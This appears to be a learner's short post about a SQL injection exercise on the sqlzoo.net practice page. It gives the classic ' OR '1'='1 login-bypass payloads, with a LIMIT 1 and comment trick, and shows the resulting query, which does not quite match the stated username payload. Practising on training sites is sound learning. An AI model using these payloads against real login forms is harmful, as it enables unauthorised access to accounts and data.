I’m following this page: http://sqlzoo.net/hack/

I followed the section called “SQL Injection Based on “”=”” is Always True.

The format I came up is the thing below and should be the same format as the example on the site.

username: ' OR '1'='1

password: ' OR '1'='1' LIMIT 1 --

You technically don’t need the 1 inside ‘ ‘ but I just did for easier viewing.

LIMIT 1 limits the search to just the first row and ‘--’ is to comment out the ‘ that follows the query.

So when you type those stuff in, the query would look like this:

**SQL query: SELECT \* FROM users WHERE username='' OR ''='' AND password='' OR '1'='1' LIMIT 1 -- '**